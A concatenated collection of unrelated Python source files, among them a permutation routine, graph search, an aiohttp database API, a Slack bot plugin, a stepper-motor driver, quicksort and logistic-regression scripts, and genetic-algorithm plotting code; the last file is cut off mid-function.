# 순열 def npr(n, k, N): if n == k: print(p) else: for i in range(N): if used[i] == 0: used[i] = 1 p[n] = i + 1 npr(n + 1, k, N) used[i] = 0 N = 5 used = [0] * N k = 2 p = [0] * k npr(0, k, N) # h = [1, 2, 3, 4, 5] # sub_list = [] # for i in range(2**N): # res = [] # for j in range(N): # if i & (1 << j) != 0: # res += [h[j]] # # print(res) # if len(res) == k: # sub_list.append(res) # res = [] # print(sub_list)
20,135
5078698f3eed2d412a423cd92cae2f98d33977e6
#Project 1 # #Name: Dominic Farradj #Instructor: Workman #Section: 03 from funcs import * def main(): pounds=int(input('How much do you weigh (pounds)? ')) distance=float(input('How far away is your professor (meters)? ')) obj=str(input('Will you throw a rotten (t)omato, banana cream (p)ie, (r)ock, (l)ightsaber, or lawn (g)nome? ')) weight=poundsToKG(pounds) mass=getMassObject(obj) print("\nNice throw! ", end = '') if mass <= 0.1: print("You're going to get an F!") if mass > 0.1 and mass <= 1.0: print("Make sure your professor is OK.") if mass > 1.0: if distance<20: print("How far away is the hospital?") else: print("RIP professor.") velObject=getVelocityObject(distance) veloSkater = getVelocitySkater(weight,mass,velObject) veloSkater=round(veloSkater, 3) print('Velocity of skater:', veloSkater, 'm/s') if veloSkater < 0.2: print("My grandmother skates faster than you!") if veloSkater >= 0.2 and veloSkater < 1.0: return veloSkater if veloSkater>= 1.0: print("Look out for that railing!!!") if __name__ == '__main__': main()
20,136
fcf95d3f71b4ae6c41df6fc130528f2d993e8358
import serial from config import* class Transport: def __init__(self, port, baudrate=115200): self.__serial = serial.Serial(port, baudrate) def read(self): return self.__serial.read() def write(self, data): if DEBUG: print(data) self.__serial.write(data)
20,137
3937e28ccbebfb9e134fa5f38e48fc16d737fb4d
# 13. Program to check if a string is palindrome. string=input("Enter a string: ") rev = ''.join(reversed(string)) print(rev) if string==rev: print("Palindrome") else: print("Not Palindrome")
20,138
b63927bc33de86f0143504e23d81eb0afadb4f54
from collections import deque from typing import Dict, Any class Graph: adjacent_list: Dict[Any, Any] def __init__(self): self.number_of_nodes = 0 self.adjacent_list = {} def __str__(self): output = "" for node in self.adjacent_list: output += node + " --> " for neighbor in self.adjacent_list[node]: output += str(neighbor) + " " output += "\n" return output.rstrip("\n") def add_vertex(self, node): if node not in self.adjacent_list: self.adjacent_list[node] = [] self.number_of_nodes += 1 def add_edge(self, node1, node2): try: self.adjacent_list[node1].append(node2) self.adjacent_list[node2].append(node1) except KeyError: raise Exception("At least one of the nodes doen't exist.") def breadth_first_search(self, node): visited = {} output = [] q = deque() q.append(node) visited[node] = True while len(q) > 0: current = q.popleft() output.append(current) for neighbor in self.adjacent_list[current]: if neighbor not in visited: visited[neighbor] = True q.append(neighbor) return output def depth_first_search(self, node, visited=None): if visited is None: visited = {} output = [] if node not in visited: visited[node] = True output += [node] for neighbor in self.adjacent_list[node]: if neighbor not in visited: output += self.depth_first_search(neighbor, visited) return output def shortest_path(self, start_node, end_node): if start_node == end_node: return 0 visited = {} queue = deque() visited[start_node] = True queue.append([start_node, 0]) while len(queue) > 0: current, distance = queue.popleft() for neighbor in self.adjacent_list[current]: if neighbor == end_node: return distance + 1 if neighbor not in visited: visited[neighbor] = True queue.append([neighbor, distance+1]) return -1
20,139
7888b3def58070c60e7ce3d3ef48d42cf6ff203d
c_ Solution o.. # def minWindow(self, s, t): # """ # :type s: str # :type t: str # :rtype: str # """ # letters = set(t) # ls = len(s) # # # find the first substring that works # first_match = self.first_match(s, t) # if not first_match: # return '' # else: # start, end, extra = first_match # min_window = (end - start, start, end) # # # traverse the string and update start and end # while start < end < ls: # discard = s[start] # # # move start on to the next letter # while start < end: # start += 1 # if s[start] in letters: # break # # # if discarded letter has extra, no need update end # if discard in extra: # extra[discard] -= 1 # if extra[discard] == 0: # extra.pop(discard) # min_window = min(min_window, (end - start, start, end)) # continue # # # otherwise move end until it points to the discarded letter # while end < ls: # end += 1 # if end == ls: # continue # # letter = s[end] # if letter == discard: # min_window = min(min_window, (end - start, start, end)) # break # # if letter in letters: # extra[letter] += 1 # # _, start, end = min_window # return s[start: end + 1] # # def first_match(self, s, t): # letters = set(t) # to_find = collections.defaultdict(lambda: 0) # extra = collections.defaultdict(lambda: 0) # # # build hash table # for i in t: # to_find[i] += 1 # # # find the start position # for index, letter in enumerate(s): # if letter in to_find: # start = index # break # else: # return False # # # find the end position # for index, letter in enumerate(s[start:], start): # if letter not in letters: # continue # if letter in to_find: # to_find[letter] -= 1 # if to_find[letter] == 0: # to_find.pop(letter) # else: # extra[letter] += 1 # if not to_find: # end = index # break # else: # return False # return start, end, extra ___ minWindow s, t # http://articles.leetcode.com/finding-minimum-window-in-s-which/ ls_s, ls_t = l.. s), l.. t) need_to_find = [0] * 256 has_found = [0] * 256 min_begin, min_end = 0, -1 min_window = 100000000000000 ___ index __ r.. ls_t need_to_find[o.. t[index])] += 1 count, begin = 0, 0 ___ end __ r.. ls_s end_index = o.. s[end]) __ need_to_find[end_index] __ 0: c_ has_found[end_index] += 1 __ has_found[end_index] <= need_to_find[end_index]: count += 1 __ count __ ls_t: begin_index = o.. s[begin]) w.. need_to_find[begin_index] __ 0 or\ has_found[begin_index] > need_to_find[begin_index]: __ has_found[begin_index] > need_to_find[begin_index]: has_found[begin_index] -= 1 begin += 1 begin_index = o.. s[begin]) window_ls = end - begin + 1 __ window_ls < min_window: min_begin = begin min_end = end min_window = window_ls # print min_begin, min_end __ count __ ls_t: r_ s[min_begin: min_end + 1] ____ r_ '' __ ____ __ ____ s ? print s.minWindow('a', 'a')
20,140
ea6c6f80d03f3ab3e0afc88a394c626ccec14c76
from aiohttp import web import asyncio import aiopg from config import Configuration DB = Configuration.DB USER = Configuration.USER PASS = Configuration.PASS HOST = Configuration.HOST PORT = Configuration.PORT app = web.Application() routes = web.RouteTableDef() # Creating connection engine async def init_pg(app): dsn = 'dbname={} user={} password={} host={}'.format(DB, USER, PASS, HOST) pool = await aiopg.create_pool(dsn) app['db'] = pool # Close connection async def close_pg(app): app['db'].close() await app['db'].wait_closed() app.on_startup.append(init_pg) app.on_cleanup.append(close_pg) @routes.get('/') async def hello(request): print(request) data = {'message': 'Hello World'} return web.json_response(data) @routes.get('/get') async def get_hendler(request): async with request.app['db'].acquire() as conn: async with conn.cursor() as cur: await cur.execute("SELECT name from tbl") ret = [] async for row in cur: ret.append(row) data = {'names': ret} return web.json_response(data) @routes.get('/get_byid') async def get_byid_hendler(request): async with request.app['db'].acquire() as conn: async with conn.cursor() as cur: name_id = request.rel_url.query['name_id'] query = 'SELECT name from tbl WHERE id=%s' await cur.execute(query, (name_id,)) ret = [] async for row in cur: ret.append(row) data = {'names': ret} return web.json_response(data) @routes.post('/post') async def post_handler(request): async with request.app['db'].acquire() as conn: async with conn.cursor() as cur: data = {} inp_data = await request.json() query = 'INSERT INTO tbl (name) VALUES (%s)' try: await cur.execute(query, (inp_data['name'],)) data = {'message': 'Success POST'} except Exception as e: print(e) data = {'message': 'Error'} return web.json_response(data) @routes.post('/update') async def put_handler(request): async with request.app['db'].acquire() as conn: async with conn.cursor() as cur: data = {} inp_data = await request.json() query = 'UPDATE tbl set name = %s where id = %s' try: await cur.execute(query, (inp_data['name'], inp_data['id'],)) data = {'message': 'Success UPDATE'} except Exception as e: print(e) data = {'message': 'Error'} return web.json_response(data) @routes.post('/delete') async def delete_handler(request): async with request.app['db'].acquire() as conn: async with conn.cursor() as cur: data = {} inp_data = await request.json() query = 'DELETE from tbl where id = %s' try: await cur.execute(query, (inp_data['id'],)) data = {'message': 'Success DELETE'} except Exception as e: print(e) data = {'message': 'Error'} return web.json_response(data) app.add_routes(routes) if __name__ == '__main__': web.run_app(app)
20,141
caf178fe9abed8a697acf5828994b5d730530b7d
@client.command() @commands.has_permissions(administrator = True) async def bankaldir(ctx, *, member): banned_users = await ctx.guild.bans() member_name, member_discriminator = member.split("#") for ban_entry in banned_users: user = ban_entry.user if (user.name, user.discriminator) == (member_name, member_discriminator): await ctx.guild.unban(user) await ctx.send(f'Bani acildi {user.mention}') return
20,142
8a096bd2445e7f8ee4f32d6908368d706991295c
#!/usr/bin/env python # -*- coding: utf-8 -*- import json from alipay.aop.api.constant.ParamConstants import * class AlipayOpenSpOperationApplyModel(object): def __init__(self): self._access_product_code = None self._alipay_account = None self._isv_scene_permissions = None self._merchant_no = None self._operate_type = None self._out_biz_no = None @property def access_product_code(self): return self._access_product_code @access_product_code.setter def access_product_code(self, value): self._access_product_code = value @property def alipay_account(self): return self._alipay_account @alipay_account.setter def alipay_account(self, value): self._alipay_account = value @property def isv_scene_permissions(self): return self._isv_scene_permissions @isv_scene_permissions.setter def isv_scene_permissions(self, value): self._isv_scene_permissions = value @property def merchant_no(self): return self._merchant_no @merchant_no.setter def merchant_no(self, value): self._merchant_no = value @property def operate_type(self): return self._operate_type @operate_type.setter def operate_type(self, value): self._operate_type = value @property def out_biz_no(self): return self._out_biz_no @out_biz_no.setter def out_biz_no(self, value): self._out_biz_no = value def to_alipay_dict(self): params = dict() if self.access_product_code: if hasattr(self.access_product_code, 'to_alipay_dict'): params['access_product_code'] = self.access_product_code.to_alipay_dict() else: params['access_product_code'] = self.access_product_code if self.alipay_account: if hasattr(self.alipay_account, 'to_alipay_dict'): params['alipay_account'] = self.alipay_account.to_alipay_dict() else: params['alipay_account'] = self.alipay_account if self.isv_scene_permissions: if hasattr(self.isv_scene_permissions, 'to_alipay_dict'): params['isv_scene_permissions'] = self.isv_scene_permissions.to_alipay_dict() else: params['isv_scene_permissions'] = self.isv_scene_permissions if self.merchant_no: if hasattr(self.merchant_no, 'to_alipay_dict'): params['merchant_no'] = self.merchant_no.to_alipay_dict() else: params['merchant_no'] = self.merchant_no if self.operate_type: if hasattr(self.operate_type, 'to_alipay_dict'): params['operate_type'] = self.operate_type.to_alipay_dict() else: params['operate_type'] = self.operate_type if self.out_biz_no: if hasattr(self.out_biz_no, 'to_alipay_dict'): params['out_biz_no'] = self.out_biz_no.to_alipay_dict() else: params['out_biz_no'] = self.out_biz_no return params @staticmethod def from_alipay_dict(d): if not d: return None o = AlipayOpenSpOperationApplyModel() if 'access_product_code' in d: o.access_product_code = d['access_product_code'] if 'alipay_account' in d: o.alipay_account = d['alipay_account'] if 'isv_scene_permissions' in d: o.isv_scene_permissions = d['isv_scene_permissions'] if 'merchant_no' in d: o.merchant_no = d['merchant_no'] if 'operate_type' in d: o.operate_type = d['operate_type'] if 'out_biz_no' in d: o.out_biz_no = d['out_biz_no'] return o
20,143
6aa4db619e0cd57711239797016d62b831653b48
filename = 'programming.txt' with open(filename, 'r+') as f: f.write("This is another line.")
20,144
7877d5c0ba7d6dc3ef4c5ac83c15253cc9ca03bd
import smtplib, ssl from datetime import datetime from config import * # taken from https://stackoverflow.com/questions/7390170/parsing-crontab-style-lines from croniter import croniter context = ssl.create_default_context() port = 465 # For SSL def send_email(message): with smtplib.SMTP_SSL('smtp.gmail.com', port, context=context) as server: server.login(SENDER_EMAIL, SENDER_PASSWORD) server.sendmail(SENDER_EMAIL, RECIPIENT_EMAIL, f'Subject: {EMAIL_SUBJECT}\n\n{message}') def parse(filename): today = datetime.now() output = [] with open(filename, 'r') as f: for idx, line in enumerate(f.readlines()): if line.startswith('#'): continue line = line.strip().split(' ') if len(line) <= 5: continue; try: cron_input = '* * ' + ' '.join(line[2:5]) content = ' '.join(line[5:]) cron = croniter(cron_input, today) cron_original = croniter(' '.join(line[:5]), today) next_date = cron.get_next(datetime).date() original_time = cron_original.get_next(datetime).time() # If cron matches, then add this to the list if next_date == today.date(): cron_time = datetime(next_date.year, next_date.month, next_date.day, \ original_time.hour, original_time.minute).strftime(DATE_FORMAT) output.append([cron_time, content]) except: return f'Error in line {idx + 1}!' return output def generate_email(input): output = '' for line in input: # line[0] is the time and line[1] is the content, for more info see the function above output += f'[{line[0]}] {line[1]}\n' # ouput[:-1] to remove the last newline character return output[:-1]
20,145
839c093c59b79dc14a02adf1e8053782ebeeb0a2
from django.conf.urls.defaults import * from django.views.generic.simple import direct_to_template from django.contrib import admin admin.autodiscover() urlpatterns = patterns('', (r'^register/', include('cmua.registration.urls')), (r'^report_score/', "cmua.scorereporter.views.index"), (r'^standings/', "cmua.scorereporter.views.standings"), (r'^directions$', direct_to_template, {'template': "directions.html"}), (r'^admin/(?P<app_label>[\d\w]+)/(?P<model_name>[\d\w]+)/csv/', 'cmua.csv_view.actions.admin_list_export'), (r'^admin/', include(admin.site.urls)), (r'^blog/', include("cmua.nassau.urls")), (r'^$', "cmua.nassau.views.index"), )
20,146
f5976e4c5330df01de9c46a23d103fd11c1e851c
#!/usr/bin/python #-*- coding: utf8 -*- import argparse import rcpt.livsmedel import xapian def index (database_obj): count = 0 xap_db_path = database_obj.xap_db_path # create or open the the database db = xapian.WritableDatabase(xap_db_path, xapian.DB_CREATE_OR_OPEN) # set up a termgenerator thats going to be used in indexing termgenerator = xapian.TermGenerator() termgenerator.set_stemmer(xapian.Stem("swedish")) foods_list = database_obj.foods_list for food in foods_list: xap_doc_id = food food_name_joint = '"' +food + '"' identifier = food # We make a document and tell the term generator to use this. doc = xapian.Document() termgenerator.set_document(doc) fields = {'food': food} str_fields = str(fields) doc.set_data (str_fields) # Index each field with a suitable prefix. termgenerator.index_text(food_name_joint, 1, 'XFOOD') # Index fields without prefixes for general search. termgenerator.index_text(food) # We use the identifier to ensure each object ends up in the # database only once no matter how many times we run the # indexer. idterm = u"Q" + identifier doc.add_boolean_term(idterm) db.replace_document(idterm, doc) count +=1 print count #----------------------------------------------------------------------------------------------------------- if __name__=='__main__':#gör att det bara körs om det är huvudprogrammet parser = argparse.ArgumentParser('Index the food names') parser.add_argument('-p' ,'--prefix', help = 'The path to database') parser.add_argument ('command', help="Valid actions: index") args = parser.parse_args() if args.prefix: database_obj = rcpt.livsmedel.Database (args.prefix) print args.prefix else: import sys parser.error ('You have to give the path to the database') sys.exit (-1) if args.command =='index': index (database_obj)
20,147
2b5a3254fce8ce3fc74047fe5d29329ac4cafde9
import RPi.GPIO as GPIO import time GPIO.setmode(GPIO.BCM) #control_pins = [7,11,13,15] control_pins = [1,7,17,27] for pin in control_pins: GPIO.setup(pin, GPIO.OUT) GPIO.output(pin, 0) halfstep_seq = [ [1,0,0,0], [1,1,0,0], [0,1,0,0], [0,1,1,0], [0,0,1,0], [0,0,1,1], [0,0,0,1], [1,0,0,1] ] direction=[8] while True: for i in range(1800): for halfstep in range(*direction): for pin in range(4): GPIO.output(control_pins[pin], halfstep_seq[halfstep][pin]) time.sleep(0.0002) direction = [7,-1,-1] if direction == [8] else [8] GPIO.cleanup()
20,148
ef1d5fd8317f5603e27dfb90ad723faef54ae3b9
# -*- coding: utf-8 -*- class MailInterface(): def __init__(self): pass def get_plugin_info(self): raise NotImplementedError() def send(self, addr_from, addr_to, subject, message): raise NotImplementedError()
20,149
4e72e27c00a16c5e61dce34ce23f8a72303c331b
#!/usr/bin/env python # coding: utf-8 # In[1]: # Import the required libraries import pandas as pd import numpy as np from scipy import stats from sklearn.metrics import accuracy_score, classification_report, confusion_matrix, roc_curve, roc_auc_score from sklearn.model_selection import KFold, GridSearchCV, train_test_split from sklearn.linear_model import LogisticRegression from matplotlib import pyplot # In[2]: # Load arrays or pickled objects from .npy courses = np.load("time_courses.npy", allow_pickle=True) ID = np.load("CCID.npy", allow_pickle=True) # In[3]: # Build dictionary from participant ID to hippocampal time course id_course = {} for i, ID in enumerate(ID): id_course[ID] = courses[i] # In[4]: # Get target data file (subset) df = pd.read_csv("D:\Documenten\CamCAN\subset_targetdata.csv") # In[5]: # Create the input and target list inputs = [] # The input list is the hippocampal time courses z_inputs = [] # The z-scored hippocampal time courses (input data) y = [] # occupation performance (target data) for i in range(len(df)): ID = df["CCID"].values[i] # Define participant ID if ID in id_course: data = id_course[ID] # Find data for participant based on ID inputs.append(data) # Add hippocampal time course to list z_inputs.append(stats.zscore(data)) # Add Z-scored hippocampal time course to list y.append(df["occupation_binned"].values[i]) # Add target label to list # In[6]: # Split the dataset in random train (70%) and test (30%) subset X_train, X_test, y_train, y_test = train_test_split( z_inputs, y, test_size = 0.3, random_state = 777) # In[7]: # Prepare the cross-validation procedure cv = KFold(n_splits = 10, random_state = 7, shuffle = True) # In[8]: # Define classification model lr = LogisticRegression(random_state = 777, class_weight = "balanced") # In[9]: # Set the parameters parameters = { "penalty":["l2"], "C":[0.1], "solver": ["saga"], } # In[10]: # Implementing GridSearchCV GS = GridSearchCV(lr, parameters, cv = cv, verbose = 1, n_jobs = -1) GS.fit(X_train, y_train) # Fitting on training data # In[11]: print(GS.best_estimator_) # Estimator that was chosen by the search (which gave highest score) print(GS.best_score_) # Mean cross-validated score of the best_estimator print(GS.best_params_) # Parameter setting that gave the best results on the hold out data # In[12]: # Evaluate performance on the test set y_pred_test = GS.predict(X_test) print(accuracy_score(y_pred_test, y_test)) print(confusion_matrix(y_pred_test, y_test)) print(classification_report(y_pred_test, y_test)) # In[13]: # Predict decision_function with chosen model lr_probs = GS.decision_function(X_test) # In[14]: # Calculate ROC AUC score lr_auc = roc_auc_score(y_test, lr_probs) print(lr_auc) # In[15]: # Calculate roc curves with the label of the positive class being "bad" lr_fpr, lr_tpr, _ = roc_curve(y_test, lr_probs, pos_label = "bad") # In[16]: # Plot the roc curve for the model pyplot.plot(lr_fpr, lr_tpr, label= "Logistic") pyplot.xlabel("False Positive Rate") pyplot.ylabel("True Positive Rate") pyplot.legend() pyplot.show()
20,150
a1be02003fcafe58fa9984527a971711d4893406
import random from Sorter import divide,merge import time def choosepivot(data, l, r): # index = random.randint(l, r) # index = r # index = l third_num = (l + r)//2 pivotlist = [data[l],data[r],data[third_num]] pivotlist.sort() if pivotlist[1] == data[l]: return l elif pivotlist[1] == data[r]: return r else : return third_num # return index def partition(data, l, r): pivot = data[l] i = l + 1 count = 0 for j in range(i, r + 1): count += 1 if data[j] < pivot: temp = data[i] data[i] = data[j] data[j] = temp i += 1 temp = pivot data[l] = data[i - 1] data[i - 1] = temp return i - 1,count def quicksort(data, l, r): count = 0 count1 = 0 count2 = 0 if l >= r: return 0 i = choosepivot(data, l, r) temp = data[i] data[i] = data[l] data[l] = temp j,count = partition(data, l, r) count1 = quicksort(data, l, j - 1) count2 = quicksort(data, j + 1, r) return count1 + count2 + count if __name__ == '__main__': myList = [] # for i in range(0, 10 ** 5): # random_num = random.randint(0, 10 ** 5) # if random_num not in myList: # myList.append(random_num) with open("Toquicksort.txt", 'r') as numbers: for number in numbers: myList.append(int(number)) myList2 = myList print(myList) time1 = time.time() num_count = quicksort(myList, 0, len(myList) - 1) time2 = time.time() print(myList) print("number of counts is {}".format(num_count)) print("Time taken by Quicksort is {}".format(time2-time1)) time3 = time.time() Merged_list = divide(myList2) time4 = time.time() print("Time taken for merged sort is {}".format(time4-time3)) print("merged sort is {}".format(Merged_list)) print(Merged_list==myList)
20,151
0dfab94e97bc8cba21fadd8183a2cb4c8f537ed7
import sys sys.path.append('..') import main import openmlstudy99.pipeline import openml server = "https://test.openml.org/api/v1/xml" openml.config.server = server cache_dir = "/tmp/openml_study99" for classifier in openmlstudy99.pipeline.supported_classifiers: for task_id in [577, 307, 391, 565, 53]: run = main.run_task( seed=1, task_id=task_id, estimator_name=classifier, n_iter=10, n_jobs=-1, n_folds_inner_cv=3, run_tmp_dir=cache_dir, ) run_prime = openml.runs.get_run(run.run_id) model = openml.runs.initialize_model_from_run(run.run_id) # Test that the parameters are exactly equal! run_parameter_settings = {} run_prime_parameter_settings = {} for lst in run.parameter_settings: run_parameter_settings[lst['oml:component']] = lst run_parameter_settings = { key: run_parameter_settings[key] for key in sorted(run_parameter_settings.keys()) } for lst in run_prime.parameter_settings: run_prime_parameter_settings[lst['oml:component']] = lst run_prime_parameter_settings = { key: run_prime_parameter_settings[key] for key in sorted(run_prime_parameter_settings.keys()) } assert sorted(run_parameter_settings) == sorted(run_prime_parameter_settings) if classifier != 'knn': # TODO fix the sorting issue with parameter distributions? params = run.flow.model.get_params() del params['param_distributions'] params_prime = model.get_params() del params_prime['param_distributions'] # Keep in mind that scikit-learn does not support direct comparison of models as we # intend to do here assert str(params) == str(params_prime) else: params = run.flow.model.get_params() del params['param_grid'] params_prime = model.get_params() del params_prime['param_grid'] # Keep in mind that scikit-learn does not support direct comparison of models as we # intend to do here assert str(params) == str(params_prime)
20,152
6cc14231c87ab244f4f5d49cf9d2a99e778942d0
#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ Created on Tue Aug 20 11:11:58 2019 @author: avelinojaver """ import sys from pathlib import Path dname = Path(__file__).resolve().parents[1] sys.path.append(str(dname)) from tqdm import tqdm from cell_localization.utils import get_device import torch import tables from train.models import get_model import pickle import numpy as np if __name__ == '__main__': cuda_id = 0 device = get_device(cuda_id) #fname = Path.home() / 'workspace/WormData/screenings/single_worm/finished/mutants/egl-14(n549)X@MT1179/food_OP50/XX/30m_wait/clockwise/egl-14 (n549)X on food L_2010_07_23__14_56_45___8___10.hdf5' fname = Path.home() / 'workspace/WormData/screenings/single_worm/finished/mutants/C11D2.2(ok1565)IV@RB1380/food_OP50/XX/30m_wait/anticlockwise/CIID2.2 (ok1565)IV on food R_2011_08_04__12_26_51___1___6.hdf5' #fname = Path.home() / 'workspace/WormData/screenings/single_worm/finished/mutants/acr-14(ok1155)II@RB1132/food_OP50/XX/30m_wait/anticlockwise/acr-14 (ok1155) on food R_2010_02_24__09_43___3___2.hdf5' #model_path = Path.home() / 'workspace/WormData/egg_laying/results/WT+v2_unet-v1+pretrained_20190819_170413_adam-_lr1e-05_wd0.0_batch4/model_best.pth.tar' #model_path = Path.home() / 'workspace/WormData/egg_laying/results/WT+v2+hard-neg_unet-v1_20190821_185645_adam-_lr1e-05_wd0.0_batch4/model_best.pth.tar' model_path = Path.home() / 'workspace/WormData/egg_laying/results/WT+v2+hard-neg_unet-v1_20190823_153141_adam-_lr0.0001_wd0.0_batch4/model_best.pth.tar' save_name = Path.home() / 'workspace' / (fname.stem + '_eggs.p') #%% valid_size = [(150,-150), (230,-230)] (xl, xr), (yl, yr) = valid_size #%% state = torch.load(model_path, map_location = 'cpu') state_dict = {} for k,v in state['state_dict'].items(): if 'output_block.' in k: continue if '.net.' not in k and k.startswith('mapping_network.'): k = k[:16] + 'net.' + k[16:] state_dict[k] = v model = get_model('unet-v1', n_in = 1, n_out = 1) model.load_state_dict(state_dict) model = model.to(device) #%% model.eval() batch_size = 96 offset = 3 with torch.no_grad(): with tables.File(fname, 'r') as fid: masks = fid.get_node('/mask') egg_flags = np.full(masks.shape[0], np.nan) for t in tqdm(range(0, masks.shape[0], batch_size - 2*offset)): imgs = masks[t:t+batch_size, xl:xr, yl:yr] X = torch.from_numpy(imgs[None]) X = X.float()/255 X = X.to(device) prediction = model(X) prediction = prediction[0].squeeze(-1) prediction = torch.sigmoid(prediction) prediction = prediction.detach().cpu().numpy() #I want to remove the corners prediction = prediction[ offset:-offset] t0 = t + offset egg_flags[t0:t0 + prediction.size] = prediction data = dict( offset = offset, batch_size = batch_size, valid_size = valid_size, model_path = model_path, egg_flags = egg_flags ) with open(save_name, 'wb') as fid: pickle.dump(data, fid)
20,153
dcb1ad9dda438b0a8007929f14cae80eb521e502
user_score = 0 simon_pattern = 'RRGBRYYBGY' user_pattern = 'RRGBBRYBGY' for i in range(len(simon_pattern)): if user_pattern[i] == simon_pattern[i]: user_score += 1 else: break print('User score:', user_score)
20,154
ef76fea93bf5d841af9421f40a0e5de39725377c
from __future__ import print_function from __future__ import unicode_literals from rtmbot.core import Plugin import json import re import requests class IdMe(Plugin): def process_message(self, msg): text = msg.get("text", "") channel = msg.get("channel", ""); match = re.findall(r"!id( .*)?", text) if not match: return query = text.split(" ", 1) username = query[1] username = username[2:-1] return self.output(channel, username) def output(self, channel, message): self.outputs.append([channel, message]) return
20,155
79cb834cb1f8815ee700de2564ced9b868b10143
""" https://leetcode.com/explore/challenge/card/june-leetcoding-challenge/539/week-1-june-1st-june-7th/3352/discuss/673519/Python-O(N2)-6-lines-of-code Suppose you have a random list of people standing in a queue. Each person is described by a pair of integers (h, k), where h is the height of the person and k is the number of people in front of this person who have a height greater than or equal to h. Write an algorithm to reconstruct the queue. """ class Solution: def reconstructQueue(self, people: List[List[int]]) -> List[List[int]]: people=sorted(people,key=lambda x:(-x[0],x[1])) for h,i in people: current_person=[h,i] people.remove(current_person) people.insert(i,current_person) return people
20,156
68f67e4ea20441d34a65641e93d93a6d676c2458
n = int(raw_input()) list1 = [int(x) for x in raw_input().split()] list2 = sorted(list(set(list1))) print list2[-2]
20,157
ad8feb110f909f1048029155247ae2c1d9b66f37
#! /usr/bin/env python import rospy from std_msgs.msg import Empty class drone_move(): def __init__(self): self.pub2 = rospy.Publisher('drone/takeoff', Empty, queue_size=1 ) self.takeoff = Empty() rospy.sleep(1) def move_it(self): self.pub2.publish(self.takeoff) rospy.sleep(5) if __name__=='__main__': rospy.init_node('drone_move') x = drone_move() x.move_it()
20,158
84a2e146a5fdb5cc296b79be03f6c5a4c5bb9721
# Copyright 2015 Google Inc. All rights reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """Helper functions for shared behavior.""" import re from gcloud._helpers import _name_from_project_path _TOPIC_TEMPLATE = re.compile(r""" projects/ # static prefix (?P<project>[^/]+) # initial letter, wordchars + hyphen /topics/ # static midfix (?P<name>[^/]+) # initial letter, wordchars + allowed punc """, re.VERBOSE) _SUBSCRIPTION_TEMPLATE = re.compile(r""" projects/ # static prefix (?P<project>[^/]+) # initial letter, wordchars + hyphen /subscriptions/ # static midfix (?P<name>[^/]+) # initial letter, wordchars + allowed punc """, re.VERBOSE) def topic_name_from_path(path, project): """Validate a topic URI path and get the topic name. :type path: string :param path: URI path for a topic API request. :type project: string :param project: The project associated with the request. It is included for validation purposes. :rtype: string :returns: Topic name parsed from ``path``. :raises: :class:`ValueError` if the ``path`` is ill-formed or if the project from the ``path`` does not agree with the ``project`` passed in. """ return _name_from_project_path(path, project, _TOPIC_TEMPLATE) def subscription_name_from_path(path, project): """Validate a subscription URI path and get the subscription name. :type path: string :param path: URI path for a subscription API request. :type project: string :param project: The project associated with the request. It is included for validation purposes. :rtype: string :returns: subscription name parsed from ``path``. :raises: :class:`ValueError` if the ``path`` is ill-formed or if the project from the ``path`` does not agree with the ``project`` passed in. """ return _name_from_project_path(path, project, _SUBSCRIPTION_TEMPLATE)
20,159
8e045b8c752424bd7e5334abd9c33fbe5f5a23ba
from klava_logic import simulator your_bag = 11 time_one = 17 time = 90 simuls = 1000 result = '' chance_K = 0 result_s = '' print('Simulation: \n') for i in range(simuls): result_s = simulator(time_one, time, your_bag) result += result_s if result_s == "S": chance_K += 1 print(result + '\n', 'Вероятность встретить Константина: ', (chance_K / simuls))
20,160
3f419b3653d8be78cc8b4a9e32066dd949215280
from matplotlib import pyplot import networkx as nx import datetime class RaportGenerator: def __init__(self): self.format = "%Y_%m_%d_%H_%M_%S_%f" def generate_report(self): print "Report" def plot_iterations(self, size, data, raport_out_dir, filename, params): figure, axes = pyplot.subplots() x = range(1, size + 1) y = data pyplot.xlabel('Numer iteracji (i)') pyplot.ylabel('Funkcja celu (O)') pyplot.title('Przebieg dzialania algorytmu') pyplot.plot(x, y, color='black', label='O(i)') x = range(0) y = range(0) pyplot.plot(x, y, color='white', label='P: ' + str(params[0]) + '\nE: ' + str(params[1]) + '\nI: ' + str(params[2]) + '\nM: ' + str(params[3])) handles, labels = axes.get_legend_handles_labels() legend = axes.legend(handles, labels, loc='upper center', ncol=2, bbox_to_anchor=(0.5, -0.1)) legend.get_frame().set_alpha(0.5) file_out = filename + '_' + datetime.datetime.today().strftime(self.format) + '_iterations.png' print "Generate iterations raport: \t\t" + file_out pyplot.savefig(raport_out_dir + "/" + file_out, bbox_extra_artists=(legend,), bbox_inches='tight') pyplot.close(figure) def print_best_individual(self, individual, cities, powers,cost_traction, cost_power_lines, raport_out_dir, filename, params): figure, axes = pyplot.subplots() g = nx.Graph() traction_len, powers_len = individual.traction_powers_lengths() cityNodes = {i: i for i in cities} nx.draw_networkx_nodes(g, cityNodes, cityNodes.keys(), node_color='red', node_size=75, label='Miasto' + '\n' + 'DT: ' + str(format(traction_len, '.5f')) + '\n' + 'KT: ' + str(cost_traction) + '\n', ax=axes) powerNodes = {i: i for i in powers} nx.draw_networkx_nodes(g, powerNodes, powerNodes.keys(), node_color='yellow', node_size=25, label='Elektrownia' + '\n' + 'DE: ' + str(format(powers_len, '.5f')) + '\n' + 'KE: ' + str(cost_power_lines) + '\n', ax=axes) nullNodes = {(0, 0): (0, 0)} nx.draw_networkx_nodes(g, nullNodes, nullNodes.keys(), node_color='white', node_size=0, label='FC: ' + str(individual.goal_func) + '\nKC: ' + str(1 / individual.goal_func) + '\nP: ' + str(params[0]) + '\nE: ' + str(params[1]) + '\nI: ' + str(params[2]) + '\nM: ' + str(params[3]), ax=axes) for seg in individual.segments: if seg.conn_to_powerstation is True: for power_seg in seg.powers_line_segment: points_set = power_seg.points.copy() if len(points_set) == 2: point1 = points_set.pop() if not cityNodes.has_key(point1) and not powerNodes.has_key(point1): pos = {point1: point1} nx.draw_networkx_nodes(g, pos, pos.keys(), node_color='green', node_size=10, ax=axes) point2 = points_set.pop() if not cityNodes.has_key(point2) and not powerNodes.has_key(point2): pos = {point2: point2} nx.draw_networkx_nodes(g, pos, pos.keys(), node_color='green', node_size=10, ax=axes) pos = {point1: point1, point2: point2} 